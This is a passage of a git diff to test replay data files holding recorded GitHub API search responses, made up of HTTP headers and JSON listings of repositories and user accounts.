shed_at":"2014-01-16T14:48:11Z","git_url":"git://github.com/dryan/twitter-text-py.git","ssh_url":"git@github.com:dryan/twitter-text-py.git","clone_url":"https://github.com/dryan/twitter-text-py.git","svn_url":"https://github.com/dryan/twitter-text-py","homepage":"http://dryan.github.io/twitter-text-py/","size":464,"stargazers_count":64,"watchers_count":64,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":20,"mirror_url":null,"open_issues_count":1,"forks":20,"open_issues":1,"watchers":64,"default_branch":"master","master_branch":"master","score":7.240589},{"id":1781813,"name":"gist-it","full_name":"robertkrimen/gist-it","owner":{"login":"robertkrimen","id":16290,"avatar_url":"https://avatars.githubusercontent.com/u/16290","gravatar_id":"a8599a9fab0f69eb6515686702a5adb1","url":"https://api.github.com/users/robertkrimen","html_url":"https://github.com/robertkrimen","followers_url":"https://api.github.com/users/robertkrimen/followers","following_url":"https://api.github.com/users/robertkrimen/following{/other_user}","gists_url":"https://api.github.com/users/robertkrimen/gists{/gist_id}","starred_url":"https://api.github.com/users/robertkrimen/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/robertkrimen/subscriptions","organizations_url":"https://api.github.com/users/robertkrimen/orgs","repos_url":"https://api.github.com/users/robertkrimen/repos","events_url":"https://api.github.com/users/robertkrimen/events{/privacy}","received_events_url":"https://api.github.com/users/robertkrimen/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/robertkrimen/gist-it","description":"An AppEngine app to embed files from a github repository like a gist","fork":false,"url":"https://api.github.com/repos/robertkrimen/gist-it","forks_url":"https://api.github.com/repos/robertkrimen/gist-it/forks","keys_url":"https://api.github.com/repos/robertkrimen/gist-it/keys{/key_id}","collaborators_url":"https://api.github.com/repos/robertkrimen/gist-it/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/robertkrimen/gist-it/teams","hooks_url":"https://api.github.com/repos/robertkrimen/gist-it/hooks","issue_events_url":"https://api.github.com/repos/robertkrimen/gist-it/issues/events{/number}","events_url":"https://api.github.com/repos/robertkrimen/gist-it/events","assignees_url":"https://api.github.com/repos/robertkrimen/gist-it/assignees{/user}","branches_url":"https://api.github.com/repos/robertkrimen/gist-it/branches{/branch}","tags_url":"https://api.github.com/repos/robertkrimen/gist-it/tags","blobs_url":"https://api.github.com/repos/robertkrimen/gist-it/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/robertkrimen/gist-it/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/robertkrimen/gist-it/git/refs{/sha}","trees_url":"https://api.github.com/repos/robertkrimen/gist-it/git/trees{/sha}","statuses_url":"https://api.github.com/repos/robertkrimen/gist-it/statuses/{sha}","languages_url":"https://api.github.com/repos/robertkrimen/gist-it/languages","stargazers_url":"https://api.github.com/repos/robertkrimen/gist-it/stargazers","contributors_url":"https://api.github.com/repos/robertkrimen/gist-it/contributors","subscribers_url":"https://api.github.com/repos/robertkrimen/gist-it/subscribers","subscription_url":"https://api.github.com/repos/robertkrimen/gist-it/subscription","commits_url":"https://api.github.com/repos/robertkrimen/gist-it/commits{/sha}","git_commits_url":"https://api.github.com/repos/robertkrimen/gist-it/git/commits{/sha}","comments_url":"https://api.github.com/repos/robertkrimen/gist-it/comments{/number}","issue_comment_url":"https://api.github.com/repos/robertkrimen/gist-it/issues/comments/{number}","contents_url":"https://api.github.com/repos/robertkrimen/gist-it/contents/{+path}","compare_url":"https://api.github.com/repos/robertkrimen/gist-it/compare/{base}...{head}","merges_url":"https://api.github.com/repos/robertkrimen/gist-it/merges","archive_url":"https://api.github.com/repos/robertkrimen/gist-it/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/robertkrimen/gist-it/downloads","issues_url":"https://api.github.com/repos/robertkrimen/gist-it/issues{/number}","pulls_url":"https://api.github.com/repos/robertkrimen/gist-it/pulls{/number}","milestones_url":"https://api.github.com/repos/robertkrimen/gist-it/milestones{/number}","notifications_url":"https://api.github.com/repos/robertkrimen/gist-it/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/robertkrimen/gist-it/labels{/name}","releases_url":"https://api.github.com/repos/robertkrimen/gist-it/releases{/id}","created_at":"2011-05-21T21:02:52Z","updated_at":"2014-01-08T03:25:50Z","pushed_at":"2013-02-27T01:11:21Z","git_url":"git://github.com/robertkrimen/gist-it.git","ssh_url":"git@github.com:robertkrimen/gist-it.git","clone_url":"https://github.com/robertkrimen/gist-it.git","svn_url":"https://github.com/robertkrimen/gist-it","homepage":"gist-it.appspot.com","size":804,"stargazers_count":61,"watchers_count":61,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":10,"mirror_url":null,"open_issues_count":3,"forks":10,"open_issues":3,"watchers":61,"default_branch":"master","master_branch":"master","score":6.753918}]} - diff --git a/tests/ReplayData/Search.testSearchUsers.txt b/tests/ReplayData/Search.testSearchUsers.txt index 5ecffc4455..824e831f26 100644 --- a/tests/ReplayData/Search.testSearchUsers.txt +++ b/tests/ReplayData/Search.testSearchUsers.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '29'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '62E81E32:536F:4325D43:53140505'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('content-length', '27634'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '30'), ('link', '; rel="next", ; rel="last"'), ('cache-control', 'no-cache'), ('date', 'Mon, 03 Mar 2014 04:28:53 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1393820993')] {"total_count":2781,"items":[{"login":"nvie","id":83844,"avatar_url":"https://avatars.githubusercontent.com/u/83844","gravatar_id":"466ef7561a0b100dc5a1021959962d28","url":"https://api.github.com/users/nvie","html_url":"https://github.com/nvie","followers_url":"https://api.github.com/users/nvie/followers","following_url":"https://api.github.com/users/nvie/following{/other_user}","gists_url":"https://api.github.com/users/nvie/gists{/gist_id}","starred_url":"https://api.github.com/users/nvie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nvie/subscriptions","organizations_url":"https://api.github.com/users/nvie/orgs","repos_url":"https://api.github.com/users/nvie/repos","events_url":"https://api.github.com/users/nvie/events{/privacy}","received_events_url":"https://api.github.com/users/nvie/received_events","type":"User","site_admin":false,"score":36.965874},{"login":"lusis","id":228958,"avatar_url":"https://avatars.githubusercontent.com/u/228958","gravatar_id":"03a966709300efb4a86ce5ee8f88f696","url":"https://api.github.com/users/lusis","html_url":"https://github.com/lusis","followers_url":"https://api.github.com/users/lusis/followers","following_url":"https://api.github.com/users/lusis/following{/other_user}","gists_url":"https://api.github.com/users/lusis/gists{/gist_id}","starred_url":"https://api.github.com/users/lusis/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lusis/subscriptions","organizations_url":"https://api.github.com/users/lusis/orgs","repos_url":"https://api.github.com/users/lusis/repos","events_url":"https://api.github.com/users/lusis/events{/privacy}","received_events_url":"https://api.github.com/users/lusis/received_events","type":"User","site_admin":false,"score":16.9694},{"login":"obra","id":45416,"avatar_url":"https://avatars.githubusercontent.com/u/45416","gravatar_id":"a145dbf5d67ba1eb717fbe3a1f51509c","url":"https://api.github.com/users/obra","html_url":"https://github.com/obra","followers_url":"https://api.github.com/users/obra/followers","following_url":"https://api.github.com/users/obra/following{/other_user}","gists_url":"https://api.github.com/users/obra/gists{/gist_id}","starred_url":"https://api.github.com/users/obra/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/obra/subscriptions","organizations_url":"https://api.github.com/users/obra/orgs","repos_url":"https://api.github.com/users/obra/repos","events_url":"https://api.github.com/users/obra/events{/privacy}","received_events_url":"https://api.github.com/users/obra/received_events","type":"User","site_admin":false,"score":19.73637},{"login":"vjousse","id":154904,"avatar_url":"https://avatars.githubusercontent.com/u/154904","gravatar_id":"c676f9efc8e54985e84c044899481267","url":"https://api.github.com/users/vjousse","html_url":"https://github.com/vjousse","followers_url":"https://api.github.com/users/vjousse/followers","following_url":"https://api.github.com/users/vjousse/following{/other_user}","gists_url":"https://api.github.com/users/vjousse/gists{/gist_id}","starred_url":"https://api.github.com/users/vjousse/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vjousse/subscriptions","organizations_url":"https://api.github.com/users/vjousse/orgs","repos_url":"https://api.github.com/users/vjousse/repos","events_url":"https://api.github.com/users/vjousse/events{/privacy}","received_events_url":"https://api.github.com/users/vjousse/received_events","type":"User","site_admin":false,"score":32.907475},{"login":"vincentbernat","id":631446,"avatar_url":"https://avatars.githubusercontent.com/u/631446","gravatar_id":"2c0bde3f5628f35390c42fe505b79da4","url":"https://api.github.com/users/vincentbernat","html_url":"https://github.com/vincentbernat","followers_url":"https://api.github.com/users/vincentbernat/followers","following_url":"https://api.github.com/users/vincentbernat/following{/other_user}","gists_url":"https://api.github.com/users/vincentbernat/gists{/gist_id}","starred_url":"https://api.github.com/users/vincentbernat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vincentbernat/subscriptions","organizations_url":"https://api.github.com/users/vincentbernat/orgs","repos_url":"https://api.github.com/users/vincentbernat/repos","events_url":"https://api.github.com/users/vincentbernat/events{/privacy}","received_events_url":"https://api.github.com/users/vincentbernat/received_events","type":"User","site_admin":false,"score":21.363638},{"login":"vincenthz","id":174631,"avatar_url":"https://avatars.githubusercontent.com/u/174631","gravatar_id":"1d0a2ab73604a28d767acc0e547c8985","url":"https://api.github.com/users/vincenthz","html_url":"https://github.com/vincenthz","followers_url":"https://api.github.com/users/vincenthz/followers","following_url":"https://api.github.com/users/vincenthz/following{/other_user}","gists_url":"https://api.github.com/users/vincenthz/gists{/gist_id}","starred_url":"https://api.github.com/users/vincenthz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vincenthz/subscriptions","organizations_url":"https://api.github.com/users/vincenthz/orgs","repos_url":"https://api.github.com/users/vincenthz/repos","events_url":"https://api.github.com/users/vincenthz/events{/privacy}","received_events_url":"https://api.github.com/users/vincenthz/received_events","type":"User","site_admin":false,"score":5.5826187},{"login":"sethvincent","id":164214,"avatar_url":"https://avatars.githubusercontent.com/u/164214","gravatar_id":"652e02cbd134e0e92f3f81fe14bda3d1","url":"https://api.github.com/users/sethvincent","html_url":"https://github.com/sethvincent","followers_url":"https://api.github.com/users/sethvincent/followers","following_url":"https://api.github.com/users/sethvincent/following{/other_user}","gists_url":"https://api.github.com/users/sethvincent/gists{/gist_id}","starred_url":"https://api.github.com/users/sethvincent/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sethvincent/subscriptions","organizations_url":"https://api.github.com/users/sethvincent/orgs","repos_url":"https://api.github.com/users/sethvincent/repos","events_url":"https://api.github.com/users/sethvincent/events{/privacy}","received_events_url":"https://api.github.com/users/sethvincent/received_events","type":"User","site_admin":false,"score":5.302938},{"login":"VinceG","id":195199,"avatar_url":"https://avatars.githubusercontent.com/u/195199","gravatar_id":"3cd0394357ab8911c794204ac524b115","url":"https://api.github.com/users/VinceG","html_url":"https://github.com/VinceG","followers_url":"https://api.github.com/users/VinceG/followers","following_url":"https://api.github.com/users/VinceG/following{/other_user}","gists_url":"https://api.github.com/users/VinceG/gists{/gist_id}","starred_url":"https://api.github.com/users/VinceG/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/VinceG/subscriptions","organizations_url":"https://api.github.com/users/VinceG/orgs","repos_url":"https://api.github.com/users/VinceG/repos","events_url":"https://api.github.com/users/VinceG/events{/privacy}","received_events_url":"https://api.github.com/users/VinceG/received_events","type":"User","site_admin":false,"score":3.6360402},{"login":"vinch","id":155370,"avatar_url":"https://avatars.githubusercontent.com/u/155370","gravatar_id":"a3895a2d6f26155968be47fc03dddc40","url":"https://api.github.com/users/vinch","html_url":"https://github.com/vinch","followers_url":"https://api.github.com/users/vinch/followers","following_url":"https://api.github.com/users/vinch/following{/other_user}","gists_url":"https://api.github.com/users/vinch/gists{/gist_id}","starred_url":"https://api.github.com/users/vinch/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vinch/subscriptions","organizations_url":"https://api.github.com/users/vinch/orgs","repos_url":"https://api.github.com/users/vinch/repos","events_url":"https://api.github.com/users/vinch/events{/privacy}","received_events_url":"https://api.github.com/users/vinch/received_events","type":"User","site_admin":false,"score":4.111639},{"login":"vvo","id":123822,"avatar_url":"https://avatars.githubusercontent.com/u/123822","gravatar_id":"667176b96540d167eb74f473c9aea5f7","url":"https://api.github.com/users/vvo","html_url":"https://github.com/vvo","followers_url":"https://api.github.com/users/vvo/followers","following_url":"https://api.github.com/users/vvo/following{/other_user}","gists_url":"https://api.github.com/users/vvo/gists{/gist_id}","starred_url":"https://api.github.com/users/vvo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vvo/subscriptions","organizations_url":"https://api.github.com/users/vvo/orgs","repos_url":"https://api.github.com/users/vvo/repos","events_url":"https://api.github.com/users/vvo/events{/privacy}","received_events_url":"https://api.github.com/users/vvo/received_events","type":"User","site_admin":false,"score":4.209945},{"login":"blanchonvincent","id":1580512,"avatar_url":"https://avatars.githubusercontent.com/u/1580512","gravatar_id":"d6288a0b3a370e4db4ea27adbeb74a30","url":"https://api.github.com/users/blanchonvincent","html_url":"https://github.com/blanchonvincent","followers_url":"https://api.github.com/users/blanchonvincent/followers","following_url":"https://api.github.com/users/blanchonvincent/following{/other_user}","gists_url":"https://api.github.com/users/blanchonvincent/gists{/gist_id}","starred_url":"https://api.github.com/users/blanchonvincent/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/blanchonvincent/subscriptions","organizations_url":"https://api.github.com/users/blanchonvincent/orgs","repos_url":"https://api.github.com/users/blanchonvincent/repos","events_url":"https://api.github.com/users/blanchonvincent/events{/privacy}","received_events_url":"https://api.github.com/users/blanchonvincent/received_events","type":"User","site_admin":false,"score":3.2129176},{"login":"vincent-zhao","id":1393423,"avatar_url":"https://avatars.githubusercontent.com/u/1393423","gravatar_id":"886a562bd3cc225ec3250650d8cdf4bd","url":"https://api.github.com/users/vincent-zhao","html_url":"https://github.com/vincent-zhao","followers_url":"https://api.github.com/users/vincent-zhao/followers","following_url":"https://api.github.com/users/vincent-zhao/following{/other_user}","gists_url":"https://api.github.com/users/vincent-zhao/gists{/gist_id}","starred_url":"https://api.github.com/users/vincent-zhao/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vincent-zhao/subscriptions","organizations_url":"https://api.github.com/users/vincent-zhao/orgs","repos_url":"https://api.github.com/users/vincent-zhao/repos","events_url":"https://api.github.com/users/vincent-zhao/events{/privacy}","received_events_url":"https://api.github.com/users/vincent-zhao/received_events","type":"User","site_admin":false,"score":3.4732492},{"login":"vincentstorme","id":2442225,"avatar_url":"https://avatars.githubusercontent.com/u/2442225","gravatar_id":"f6957ae1ebc89b683f27dcb3cb6af167","url":"https://api.github.com/users/vincentstorme","html_url":"https://github.com/vincentstorme","followers_url":"https://api.github.com/users/vincentstorme/followers","following_url":"https://api.github.com/users/vincentstorme/following{/other_user}","gists_url":"https://api.github.com/users/vincentstorme/gists{/gist_id}","starred_url":"https://api.github.com/users/vincentstorme/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vincentstorme/subscriptions","organizations_url":"https://api.github.com/users/vincentstorme/orgs","repos_url":"https://api.github.com/users/vincentstorme/repos","events_url":"https://api.github.com/users/vincentstorme/events{/privacy}","received_events_url":"https://api.github.com/users/vincentstorme/received_events","type":"User","site_admin":false,"score":4.5820265},{"login":"VincentToups","id":31994,"avatar_url":"https://avatars.githubusercontent.com/u/31994","gravatar_id":"31a9803728a756c2b6ec090cb77852b3","url":"https://api.github.com/users/VincentToups","html_url":"https://github.com/VincentToups","followers_url":"https://api.github.com/users/VincentToups/followers","following_url":"https://api.github.com/users/VincentToups/following{/other_user}","gists_url":"https://api.github.com/users/VincentToups/gists{/gist_id}","starred_url":"https://api.github.com/users/VincentToups/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/VincentToups/subscriptions","organizations_url":"https://api.github.com/users/VincentToups/orgs","repos_url":"https://api.github.com/users/VincentToups/repos","events_url":"https://api.github.com/users/VincentToups/events{/privacy}","received_events_url":"https://api.github.com/users/VincentToups/received_events","type":"User","site_admin":false,"score":3.9941156},{"login":"Vayn","id":224407,"avatar_url":"https://avatars.githubusercontent.com/u/224407","gravatar_id":"dd02e2c7ecf7c377b6b9c2c1a23633d0","url":"https://api.github.com/users/Vayn","html_url":"https://github.com/Vayn","followers_url":"https://api.github.com/users/Vayn/followers","following_url":"https://api.github.com/users/Vayn/following{/other_user}","gists_url":"https://api.github.com/users/Vayn/gists{/gist_id}","starred_url":"https://api.github.com/users/Vayn/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Vayn/subscriptions","organizations_url":"https://api.github.com/users/Vayn/orgs","repos_url":"https://api.github.com/users/Vayn/repos","events_url":"https://api.github.com/users/Vayn/events{/privacy}","received_events_url":"https://api.github.com/users/Vayn/received_events","type":"User","site_admin":false,"score":3.4213936},{"login":"gierschv","id":396537,"avatar_url":"https://avatars.githubusercontent.com/u/396537","gravatar_id":"bbd55fb25025ef973c45e587103a1007","url":"https://api.github.com/users/gierschv","html_url":"https://github.com/gierschv","followers_url":"https://api.github.com/users/gierschv/followers","following_url":"https://api.github.com/users/gierschv/following{/other_user}","gists_url":"https://api.github.com/users/gierschv/gists{/gist_id}","starred_url":"https://api.github.com/users/gierschv/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gierschv/subscriptions","organizations_url":"https://api.github.com/users/gierschv/orgs","repos_url":"https://api.github.com/users/gierschv/repos","events_url":"https://api.github.com/users/gierschv/events{/privacy}","received_events_url":"https://api.github.com/users/gierschv/received_events","type":"User","site_admin":false,"score":4.15376},{"login":"vbmithr","id":797581,"avatar_url":"https://avatars.githubusercontent.com/u/797581","gravatar_id":"1c14c313c21533d542bb289a7581c28b","url":"https://api.github.com/users/vbmithr","html_url":"https://github.com/vbmithr","followers_url":"https://api.github.com/users/vbmithr/followers","following_url":"https://api.github.com/users/vbmithr/following{/other_user}","gists_url":"https://api.github.com/users/vbmithr/gists{/gist_id}","starred_url":"https://api.github.com/users/vbmithr/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vbmithr/subscriptions","organizations_url":"https://api.github.com/users/vbmithr/orgs","repos_url":"https://api.github.com/users/vbmithr/repos","events_url":"https://api.github.com/users/vbmithr/events{/privacy}","received_events_url":"https://api.github.com/users/vbmithr/received_events","type":"User","site_admin":false,"score":4.68167},{"login":"agile","id":249,"avatar_url":"https://avatars.githubusercontent.com/u/249","gravatar_id":"722218c7702627097bd72901d7b39e6a","url":"https://api.github.com/users/agile","html_url":"https://github.com/agile","followers_url":"https://api.github.com/users/agile/followers","following_url":"https://api.github.com/users/agile/following{/other_user}","gists_url":"https://api.github.com/users/agile/gists{/gist_id}","starred_url":"https://api.github.com/users/agile/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/agile/subscriptions","organizations_url":"https://api.github.com/users/agile/orgs","repos_url":"https://api.github.com/users/agile/repos","events_url":"https://api.github.com/users/agile/events{/privacy}","received_events_url":"https://api.github.com/users/agile/received_events","type":"User","site_admin":false,"score":3.2129176},{"login":"vbatts","id":67049,"avatar_url":"https://avatars.githubusercontent.com/u/67049","gravatar_id":"c8ff80488014da414b65346806178fa5","url":"https://api.github.com/users/vbatts","html_url":"https://github.com/vbatts","followers_url":"https://api.github.com/users/vbatts/followers","following_url":"https://api.github.com/users/vbatts/following{/other_user}","gists_url":"https://api.github.com/users/vbatts/gists{/gist_id}","starred_url":"https://api.github.com/users/vbatts/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vbatts/subscriptions","organizations_url":"https://api.github.com/users/vbatts/orgs","repos_url":"https://api.github.com/users/vbatts/repos","events_url":"https://api.github.com/users/vbatts/events{/privacy}","received_events_url":"https://api.github.com/users/vbatts/received_events","type":"User","site_admin":false,"score":4.795142},{"login":"bigsnarfdude","id":2282364,"avatar_url":"https://avatars.githubusercontent.com/u/2282364","gravatar_id":"d037119574d45efed8c1a23c7c321721","url":"https://api.github.com/users/bigsnarfdude","html_url":"https://github.com/bigsnarfdude","followers_url":"https://api.github.com/users/bigsnarfdude/followers","following_url":"https://api.github.com/users/bigsnarfdude/following{/other_user}","gists_url":"https://api.github.com/users/bigsnarfdude/gists{/gist_id}","starred_url":"https://api.github.com/users/bigsnarfdude/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bigsnarfdude/subscriptions","organizations_url":"https://api.github.com/users/bigsnarfdude/orgs","repos_url":"https://api.github.com/users/bigsnarfdude/repos","events_url":"https://api.github.com/users/bigsnarfdude/events{/privacy}","received_events_url":"https://api.github.com/users/bigsnarfdude/received_events","type":"User","site_admin":false,"score":4.6358795},{"login":"vcabansag","id":1062352,"avatar_url":"https://avatars.githubusercontent.com/u/1062352","gravatar_id":"216c75c56633ec386037cf2084f69f13","url":"https://api.github.com/users/vcabansag","html_url":"https://github.com/vcabansag","followers_url":"https://api.github.com/users/vcabansag/followers","following_url":"https://api.github.com/users/vcabansag/following{/other_user}","gists_url":"https://api.github.com/users/vcabansag/gists{/gist_id}","starred_url":"https://api.github.com/users/vcabansag/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vcabansag/subscriptions","organizations_url":"https://api.github.com/users/vcabansag/orgs","repos_url":"https://api.github.com/users/vcabansag/repos","events_url":"https://api.github.com/users/vcabansag/events{/privacy}","received_events_url":"https://api.github.com/users/vcabansag/received_events","type":"User","site_admin":false,"score":2.5125384},{"login":"Valodim","id":27813,"avatar_url":"https://avatars.githubusercontent.com/u/27813","gravatar_id":"5ad827a4eff2f5c23d26e1b4eb746143","url":"https://api.github.com/users/Valodim","html_url":"https://github.com/Valodim","followers_url":"https://api.github.com/users/Valodim/followers","following_url":"https://api.github.com/users/Valodim/following{/other_user}","gists_url":"https://api.github.com/users/Valodim/gists{/gist_id}","starred_url":"https://api.github.com/users/Valodim/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Valodim/subscriptions","organizations_url":"https://api.github.com/users/Valodim/orgs","repos_url":"https://api.github.com/users/Valodim/repos","events_url":"https://api.github.com/users/Valodim/events{/privacy}","received_events_url":"https://api.github.com/users/Valodim/received_events","type":"User","site_admin":false,"score":7.773693},{"login":"vincentwoo","id":613320,"avatar_url":"https://avatars.githubusercontent.com/u/613320","gravatar_id":"ef261163df50f82a96093054933f8b0b","url":"https://api.github.com/users/vincentwoo","html_url":"https://github.com/vincentwoo","followers_url":"https://api.github.com/users/vincentwoo/followers","following_url":"https://api.github.com/users/vincentwoo/following{/other_user}","gists_url":"https://api.github.com/users/vincentwoo/gists{/gist_id}","starred_url":"https://api.github.com/users/vincentwoo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vincentwoo/subscriptions","organizations_url":"https://api.github.com/users/vincentwoo/orgs","repos_url":"https://api.github.com/users/vincentwoo/repos","events_url":"https://api.github.com/users/vincentwoo/events{/privacy}","received_events_url":"https://api.github.com/users/vincentwoo/received_events","type":"User","site_admin":false,"score":4.1279836},{"login":"jacquev6","id":327146,"avatar_url":"https://avatars.githubusercontent.com/u/327146","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false,"score":6.40821},{"login":"vincentx","id":30519,"avatar_url":"https://avatars.githubusercontent.com/u/30519","gravatar_id":"5b22ceec1f68e4e30ce9d73b15515a8b","url":"https://api.github.com/users/vincentx","html_url":"https://github.com/vincentx","followers_url":"https://api.github.com/users/vincentx/followers","following_url":"https://api.github.com/users/vincentx/following{/other_user}","gists_url":"https://api.github.com/users/vincentx/gists{/gist_id}","starred_url":"https://api.github.com/users/vincentx/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vincentx/subscriptions","organizations_url":"https://api.github.com/users/vincentx/orgs","repos_url":"https://api.github.com/users/vincentx/repos","events_url":"https://api.github.com/users/vincentx/events{/privacy}","received_events_url":"https://api.github.com/users/vincentx/received_events","type":"User","site_admin":false,"score":2.8227496},{"login":"flyingoctopus","id":51352,"avatar_url":"https://avatars.githubusercontent.com/u/51352","gravatar_id":"4ae644601d8cfeeb1ac5f9eca3730cf2","url":"https://api.github.com/users/flyingoctopus","html_url":"https://github.com/flyingoctopus","followers_url":"https://api.github.com/users/flyingoctopus/followers","following_url":"https://api.github.com/users/flyingoctopus/following{/other_user}","gists_url":"https://api.github.com/users/flyingoctopus/gists{/gist_id}","starred_url":"https://api.github.com/users/flyingoctopus/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/flyingoctopus/subscriptions","organizations_url":"https://api.github.com/users/flyingoctopus/orgs","repos_url":"https://api.github.com/users/flyingoctopus/repos","events_url":"https://api.github.com/users/flyingoctopus/events{/privacy}","received_events_url":"https://api.github.com/users/flyingoctopus/received_events","type":"User","site_admin":false,"score":8.850996},{"login":"samvincent","id":57775,"avatar_url":"https://avatars.githubusercontent.com/u/57775","gravatar_id":"7105cb5590c1d689191fabaff3cfc23b","url":"https://api.github.com/users/samvincent","html_url":"https://github.com/samvincent","followers_url":"https://api.github.com/users/samvincent/followers","following_url":"https://api.github.com/users/samvincent/following{/other_user}","gists_url":"https://api.github.com/users/samvincent/gists{/gist_id}","starred_url":"https://api.github.com/users/samvincent/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/samvincent/subscriptions","organizations_url":"https://api.github.com/users/samvincent/orgs","repos_url":"https://api.github.com/users/samvincent/repos","events_url":"https://api.github.com/users/samvincent/events{/privacy}","received_events_url":"https://api.github.com/users/samvincent/received_events","type":"User","site_admin":false,"score":2.9412127},{"login":"stamourv","id":854429,"avatar_url":"https://avatars.githubusercontent.com/u/854429","gravatar_id":"80affe6c372ba2594d0810a455592d0b","url":"https://api.github.com/users/stamourv","html_url":"https://github.com/stamourv","followers_url":"https://api.github.com/users/stamourv/followers","following_url":"https://api.github.com/users/stamourv/following{/other_user}","gists_url":"https://api.github.com/users/stamourv/gists{/gist_id}","starred_url":"https://api.github.com/users/stamourv/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/stamourv/subscriptions","organizations_url":"https://api.github.com/users/stamourv/orgs","repos_url":"https://api.github.com/users/stamourv/repos","events_url":"https://api.github.com/users/stamourv/events{/privacy}","received_events_url":"https://api.github.com/users/stamourv/received_events","type":"User","site_admin":false,"score":2.6577015},{"login":"vrabaud","id":700766,"avatar_url":"https://avatars.githubusercontent.com/u/700766","gravatar_id":"cc30ac48a693633fa4d05d66238eaff8","url":"https://api.github.com/users/vrabaud","html_url":"https://github.com/vrabaud","followers_url":"https://api.github.com/users/vrabaud/followers","following_url":"https://api.github.com/users/vrabaud/following{/other_user}","gists_url":"https://api.github.com/users/vrabaud/gists{/gist_id}","starred_url":"https://api.github.com/users/vrabaud/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vrabaud/subscriptions","organizations_url":"https://api.github.com/users/vrabaud/orgs","repos_url":"https://api.github.com/users/vrabaud/repos","events_url":"https://api.github.com/users/vrabaud/events{/privacy}","received_events_url":"https://api.github.com/users/vrabaud/received_events","type":"User","site_admin":false,"score":5.332164},{"login":"Mitsugaru","id":1184640,"avatar_url":"https://avatars.githubusercontent.com/u/1184640","gravatar_id":"5ed6fc41ebf7d88590a4c07eae074e97","url":"https://api.github.com/users/Mitsugaru","html_url":"https://github.com/Mitsugaru","followers_url":"https://api.github.com/users/Mitsugaru/followers","following_url":"https://api.github.com/users/Mitsugaru/following{/other_user}","gists_url":"https://api.github.com/users/Mitsugaru/gists{/gist_id}","starred_url":"https://api.github.com/users/Mitsugaru/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Mitsugaru/subscriptions","organizations_url":"https://api.github.com/users/Mitsugaru/orgs","repos_url":"https://api.github.com/users/Mitsugaru/repos","events_url":"https://api.github.com/users/Mitsugaru/events{/privacy}","received_events_url":"https://api.github.com/users/Mitsugaru/received_events","type":"User","site_admin":false,"score":4.0521812}]} - diff --git a/tests/ReplayData/Search.testUrlquotingOfQualifiers.txt b/tests/ReplayData/Search.testUrlquotingOfQualifiers.txt index ae28e1da0b..f8fb3174db 100644 --- a/tests/ReplayData/Search.testUrlquotingOfQualifiers.txt +++ b/tests/ReplayData/Search.testUrlquotingOfQualifiers.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '29'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '62E81E32:3849:237BB3A:5325E38F'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('content-length', 